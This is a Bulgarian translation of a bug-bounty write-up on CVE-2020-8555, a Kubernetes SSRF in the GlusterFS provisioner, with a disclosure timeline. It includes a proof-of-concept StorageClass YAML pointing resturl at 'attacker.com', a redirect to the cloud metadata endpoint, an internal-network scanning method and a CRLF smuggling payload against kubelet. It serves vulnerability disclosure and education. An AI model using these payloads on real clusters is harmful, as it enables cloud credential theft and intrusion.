Когато става въпрос не само за уязвимост в Kubernetes…

Прим. прев.: авторите на тази статия подробно разказват как успяха да открият уязвимост CVE-2020–8555 в Kubernetes. Въпреки че първоначално изглеждаше не много опасна, в съчетание с други фактори критичността ѝ при някои облачни доставчици се оказа максимална. За извършената работа специалистите бяха щедро възнаградени от няколко организации.

Когато става въпрос не само за уязвимост в Kubernetes…

Кои сме ние

Ние сме двама френски изследователи в областта на сигурността, които заедно откриха уязвимост в Kubernetes. Казваме се Brice Augras и Christophe Hauquiert, но на много платформи за Bug Bounty сме известни като Reeverzax и Hach съответно:

Какво се е случило?

Тази статия е нашият начин да разкажем как един обикновен изследователски проект неочаквано се превърна в най-вълнуваемото приключение в живота на ловците на бъгове (поне засега).

Както вероятно знаете, ловците на бъгове имат някои забележителни характеристики:

  • те живеят на пици и бира;
  • те работят, когато всички останали спят.

Ние не сме изключение от тези правила: обикновено се срещаме в почивните дни и прекарваме безсънни хакерски нощи. Но една такава нощ завърши по доста необичаен начин.

Първоначално бяхме планирали да се срещнем, за да обсъдим участието в CTF на следващия ден. По време на разговора за сигурността на Kubernetes в управляемата среда си спомнихме за стара идея за SSRF (Server-Side Request Forgery) и решихме да опитаме да я използваме като сценарий за атака.

В 11 вечерта седнахме на изследвания, а за спане отидохме рано сутринта, доста удовлетворени от резултатите. Именно заради тези изследвания попаднахме на програмата MSRC Bug Bounty и измислихме експлойт с ескалация на привилегии.

Преминаха няколко седмици/месеца, и нашият неочакван резултат ни позволи да получим една от най-високите награди в историята на Azure Cloud Bug Bounty — в допълнение на тази, която получихме от Kubernetes!

По мотивите на нашия изследователски проект комитетът по сигурността на продуктите на Kubernetes опубликува CVE-2020–8555.

Сега бихме искали да разпространим информацията за откритата уязвимост възможно най-много. Надяваме се, че ще оцените находката и ще споделите техническите подробности с другите членове на infosec общността!

И така, ето нашата история…

Контекст

За да предадем напълно смисъла на случилото се, първо нека разгледаме как Kubernetes функционира в управляемата облачна среда.

Когато създавате екземпляр на кластер Kubernetes в такава среда, управляващият слой обикновено се управлява от доставчика на облачни услуги:

Когато става въпрос не само за уязвимост в Kubernetes…
Управляващият слой се намира в периметъра на облачния доставчик, докато възлите на Kubernetes са в периметъра на клиента.

За динамично предоставяне на томове се използва механизъм за тяхното динамично предоставяне от външен storage-бекенд и привързване към PVC (persistent volume claim, т.е. заявление за том).

Следователно, след като PVC бъде създаден и свързан с StorageClass в клъстера K8s, по-нататъшните действия по предоставяне на тома се поемат от kube/cloud controller manager (точното му име зависи от версията). (Прим. прев.: По-подробно за CCM (Cloud Controller Manager) на примера на реализация за един от облачните доставчици вече сме писали. тук..)

Съществуват различни видове provisioner-и, поддържани от Kubernetes: повечето от тях са включени в ядрото на оркестратора,, а други се управляват от допълнителни provisioner-и, които са разположени в pod-ове в клъстера.

В нашето проучване се фокусирахме върху вътрешния механизъм на предоставяне на томове, който е илюстриран по-долу:

Когато става въпрос не само за уязвимост в Kubernetes…
Динамично предоставяне на томове с използване на вградения provisioner на Kubernetes.

В кратце, когато Kubernetes е разположен в управляемата среда, работата на controller manager-а е в ръцете на доставчика на облачни услуги, но заявката за създаване на том (номер 3 на схемата по-горе) напуска пределите на вътрешната мрежа на облачния доставчик. И тук ситуацията става наистина интересна!

Сценарий на хакване.

В този раздел ще разкажем как използвахме споменатия по-горе работен процес, за да получим достъп до вътрешни ресурси на доставчика на облачни услуги. Освен това ще бъде показано как могат да се извършат определени действия - например, да се получат вътрешни удостоверения или да се извърши ескалация на привилегии.

Една проста манипулация (в този случай това е Service Side Request Forgery) помогна да излезем извън пределите на клиентската среда в клъстери на различни доставчици на услуги за управляем K8s.

В нашите изследвания сме се фокусирали върху provisioner-а GlusterFS. Въпреки че по-нататъшната последователност от действия е описана в такъв контекст, същата уязвимост засяга и Quobyte, StorageOS и ScaleIO.

Когато става въпрос не само за уязвимост в Kubernetes…
Злоупотреба с механизма за динамично предоставяне на томове

По време на анализа на класовете хранилища GlusterFS в изходния код на клиента на Golang ние беше забелязано, което при първото HTTP-заявление (3), изпратено по време на създаването на тома, към края на потребителския URL в параметъра resturl се добавя /volumes.

За да се отървем от този допълнителен път, решихме да добавим # в параметър resturl. Ето първата YAML конфигурация, която използвахме, за да проверим за "полусляпа" SSRF-уязвимост (повече за semi-blind или half-blind SSRF можете да прочетете, например, тук. — забележка на преводача):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

След това за отдалечено управление на кластера Kubernetes използвахме бинарния файл kubectl. Обикновено облачните доставчици (Azure, Google, AWS и др.) позволяват получаване на удостоверения за използване в този инструмент.

Благодарение на това успяхме да приложим нашия "специален" файл. Kube-controller-manager изпълни резултиралия HTTP-запит:

kubectl create -f sc-poc.yaml

Когато става въпрос не само за уязвимост в Kubernetes…
Отговор от гледна точка на атакуващия

Скоро след това успяхме да получим HTTP-отговор от целевия сървър — чрез команди describe pvc или get events в kubectl. И наистина: този Kubernetes драйвер по подразбиране е прекалено многословен в своите предупреждения/съобщения за грешки…

Ето пример с линк на https://www.google.fr, зададена като параметър resturl:

kubectl describe pvc poc-ssrf
# или можете да използвате kubectl get events

Когато става въпрос не само за уязвимост в Kubernetes…

В рамките на този подход бяхме ограничени до заявки от тип HTTP POST и не успяхме да получим съдържанието на тялото на отговора, ако върнатият код беше 201. Затова решихме да проведем допълнителни изследвания и разширихме този сценарий на хакване с нови подходи.

Еволюцията на нашите изследвания

  • Разширен сценарий №1: използване на 302-ри редирект от външен сървър за промяна на HTTP метода, за да получим по-гъвкав начин за събиране на вътрешни данни.
  • Разширен сценарий №2: автоматизация на сканирането на LAN и откритие на вътрешни ресурси.
  • Разширен сценарий №3: използване на HTTP CRLF + контрабанда на заявки за създаване на адаптирани HTTP-заявки и извличане на данни от логовете на kube-controller.

Технически спецификации

  • В проучванията е използвана Azure Kubernetes Service (AKS) с версия Kubernetes 1.12 в региона Северна Европа.
  • Описаните по-горе сценарии са изпълнени на последните версии на Kubernetes, с изключение на третия сценарий, тъй като той изискваше Kubernetes, компилиран с Golang версия ≤ 1.12.
  • Външен сървър на атакуващия — https://attacker.com.

Разширен сценарий №1: пренасочване на HTTP-заявка POST в GET и получаване на конфиденциални данни

Първоначалният метод беше подобрен чрез конфигурацията на сървъра на злонамеренец, за да върне 302 HTTP Retcode, за да конвертира POST-заявка в GET-заявка (стъпка 4 от схемата):

Когато става въпрос не само за уязвимост в Kubernetes…

Първата заявка (3), изходяща от клиента GlusterFS (Controller Manager), е тип POST. Извършвайки следните стъпки, успяхме да я преобразуваме в GET:

  • Като параметър resturl в StorageClass се указва http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php отговаря със статус код 302 HTTP със следващия Location Header: http://169.254.169.254. Може да бъде всякакъв друг вътрешен ресурс — в този случай пренасочващата връзка се използва само за пример.
  • По подразбиране библиотеката net/http на Golang пренасочва заявката и конвертира POST в GET с 302 статус код, в резултат на което на целевия ресурс постъпва HTTP-заявка GET.

За да прочетете тялото на HTTP-отговора, е необходимо да направите describe обект PVC:

kubectl describe pvc xxx

Ето пример за HTTP-отговор във формат JSON, който успяхме да получим:

Когато става въпрос не само за уязвимост в Kubernetes…

Възможностите на откритата уязвимост по онова време бяха ограничени поради следните фактори:

  • Невъзможност за вмъкване на HTTP-заглавия в изходящата заявка.
  • Невъзможност за извършване на POST-заявка с параметри в тялото (така удобно се запитва стойността на ключа от инстанция на etcd, работеща на 2379 порта, ако се използва нешифрован HTTP).
  • Невъзможност за получаване на съдържанието на тялото на отговора, когато статус кодът е 200 и отговорът няма JSON Content-Type.

Разширен сценарий №2: сканиране на локалната мрежа

Този метод half-blind SSRF след това беше използван за сканиране на вътрешната мрежа на доставчика на облачни услуги и за запитване на различни обслужващи услуги (инстанция Metadata, Kubelet, etcd и т.н.) на базата на отговорите на kube controller-а.

Когато става въпрос не само за уязвимост в Kubernetes…

Първо бяха определени стандартните слушащи портове на компонентите на Kubernetes (8443, 10250, 10251 и т.н.), а след това се наложи автоматизиране на процеса на сканиране.

След като видяхме, че този метод за сканиране на ресурси е много специфичен и не е съвместим с традиционните скенери и инструменти за SSRF, решихме да създадем собствени worker-и в bash скрипта, които автоматизират целия процес.

Например, за по-бързо сканиране на диапазона 172.16.0.0/12 от вътрешната мрежа, бяха стартирани 15 worker-а паралелно. Горепосоченият диапазон на IP беше избран само за пример и може да бъде променен в зависимост от конкретния IP диапазон на доставчика на услуги.

За да сканирате един IP адрес и един порт, е необходимо да направите следното:

  • да изтриете проверения преди това StorageClass;
  • да изтриете предишния проверен Persistent Volume Claim;
  • да промените стойностите на IP и Port в sc.yaml;
  • да създадете StorageClass с нов IP и порт;
  • да създадете нов PVC;
  • да извлечете резултатите от сканирането с помощта на describe за PVC.

Разширен сценарий №3: инжекция CRLF + HTTP smuggling в „стари“ версии на кластера Kubernetes

Ако допълнително доставчикът е предлагал на клиентите стари версии на кластера K8s и предоставяйки им достъп до логовете на kube-controller-manager, ефектът е ставяше още по-забележим.

На злонамерителя му е много по-удобно да променя произволно HTTP заявките, предназначени за получаване на пълен HTTP отговор.

Когато става въпрос не само за уязвимост в Kubernetes…

За реализирането на последния сценарий трябваше да се изпълнят следните условия:

  • Потребителят трябва да има достъп до логовете на kube-controller-manager (както, например, в Azure LogInsights).
  • Кластерът Kubernetes трябва да използва версия на Golang под 1.12.

Разположихме локална среда, която имитира обмена на данни между Go клиент на GlusterFS и фалшив целеви сървър (засега ще се въздържим от публикуване на PoC).

Беше открита уязвимост, засягаща версии на Golang под 1.12 и позволяваща на хакерите да извършват атаки от типа HTTP smuggling/CRLF.

Обединявайки описаната по-горе half-blind SSRF заедно с тази, успяхме да изпращаме заявки по наш вкус, включително замяна на заглавия, метод на HTTP, параметри и данни, които kube-controller-manager след това обработваше.

Ето пример за работеща „наживка“ в параметъра resturl на StorageClass, която реализира подобен сценарий на атака:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

В резултат на това възниква грешка unsolicited response, съобщение, което се записва в логовете на контролера. Поради включената по подразбиране „разговорливост“, там се запазва и съдържанието на отговорното HTTP съобщение.

Когато става въпрос не само за уязвимост в Kubernetes…

Това беше нашата най-резултатна „примамка“ в рамките на proof of concept.

Използвайки такъв подход, успяхме да извършим някои от следните атаки в клъстери на различни доставчици на управлявани k8s: ескалация на привилегии с получаване на удостоверителни данни на metadata инстанции, DoS на майстора с помощта на (некриптирани) HTTP заявки към master инстанциите на etcd и т.н.

Последствия

В официалното изявление на Kubernetes относно откритата от нас SSRF уязвимост, й беше присвоен рейтинг CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ако се разглежда само уязвимостта, свързана с периметъра на Kubernetes, векторът на интегритета (integrity vector) в нея се квалифицира като None.

Но оценката на възможните последици в контекста на управляваната сервизна среда (и това беше най-интересната част от нашето изследване!) ни накара да преоценим уязвимостта на рейтинг Critical CVSS10/10 за много дистрибутори.

По-долу е предоставена допълнителна информация, която ще помогне да разберем какво ръководеше при оценката на възможните последици в облачните среди:

Интегритет

  • Отдалечено изпълнение на команди с получените вътрешни удостоверителни данни.
  • Възпроизвеждане на описания сценарий чрез метода IDOR (Insecure Direct Object Reference, т.е. небезопасни директни връзки към обекти) с други ресурси, открити в локалната мрежа.

Конфиденциалност

  • Атака от тип Lateral Movement благодарение на кражба на облачни удостоверителни данни (например, metadata API).
  • Събиране на информация чрез сканиране на локалната мрежа (определяне на версия на SSH, версия на HTTP сървър, …).
  • Събиране на информация за инстанции и инфраструктура чрез запитвания към вътрешни API, като например metadata API (http://169.254.169.254, …).
  • Кражба на данни от клиенти с помощта на облачни удостоверителни данни.

Достъпност

Всички сценарии на прилагане на експлойти, свързани с векторите на атака на integrity (интегритет), могат да бъдат използвани за разрушителни действия и да доведат до недостъпност на master инстанциите от клиентския периметър (или от всякакъв друг).

Тъй като се намирахме в управлявана среда K8s и оценявахме влиянието върху целостта, могат да се представят множество сценарии, които биха могли да повлияят на наличността. Като допълнителни примери можем да споменем повреда на базата данни etcd или извършване на критичен API повик към Kubernetes.

Хронология

  • 6 декември 2019 г.: изпращане на съобщение за откритата уязвимост в MSRC Bug Bounty.
  • 3 януари 2020: трета страна информира разработчиците на Kubernetes, че работим по проблем в областта на сигурността. И поискаха да разглеждат SSRF като вътрешна (in-core) уязвимост. След това представихме общ доклад с технически подробности относно източника на проблема.
  • 15 януари 2020: предоставихме на разработчиците на Kubernetes технически и общи отчети по тяхна заявка (чрез платформата HackerOne).
  • 15 януари 2020: разработчиците на Kubernetes ни уведомиха, че half-blind SSRF + CRLF инжекция за предишни версии се счита за in-core уязвимост. Незабавно прекратихме анализа на периметрите на други доставчици на услуги: основната причина вече беше в ръцете на K8s екипа.
  • 15 януари 2020: получена е награда от MSRC чрез HackerOne.
  • 16 януари 2020: Kubernetes PSC (Комитет за сигурност на продукта) призна уязвимостта и поиска да я запазим в тайна до средата на март поради голям брой потенциални жертви.
  • 11 февруари 2020: получена е награда от Google VRP.
  • 4 март 2020: получена е награда от Kubernetes чрез HackerOne.
  • 15 март 2020: първоначално планираното публично разкритие е отложено поради ситуацията с COVID-19.
  • 1 юни 2020: съвместно изявление на Kubernetes + Microsoft относно уязвимостта.

TL;DR

  • Пием бира и ядем пица 🙂
  • Открихме in-core уязвимост в Kubernetes, въпреки че не сме имали намерение да го правим.
  • Извършихме допълнителен анализ в клъстери на различни облачни доставчици и успяхме да увеличим щетите, причинени от уязвимостта, за да получим допълнителни страхотни бонуси.
  • В тази статия ще намерите множество технически подробности. С радост ще ги обсъдим с вас (Twitter: @ReeverZax & @__hach_).
  • Оказа се, че всевъзможните формалности и съставянето на отчети отнемат значително повече време, отколкото се очакваше.

Връзки

P.S. от преводача

Прочетете също в нашия блог:

Източник: habr.com

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster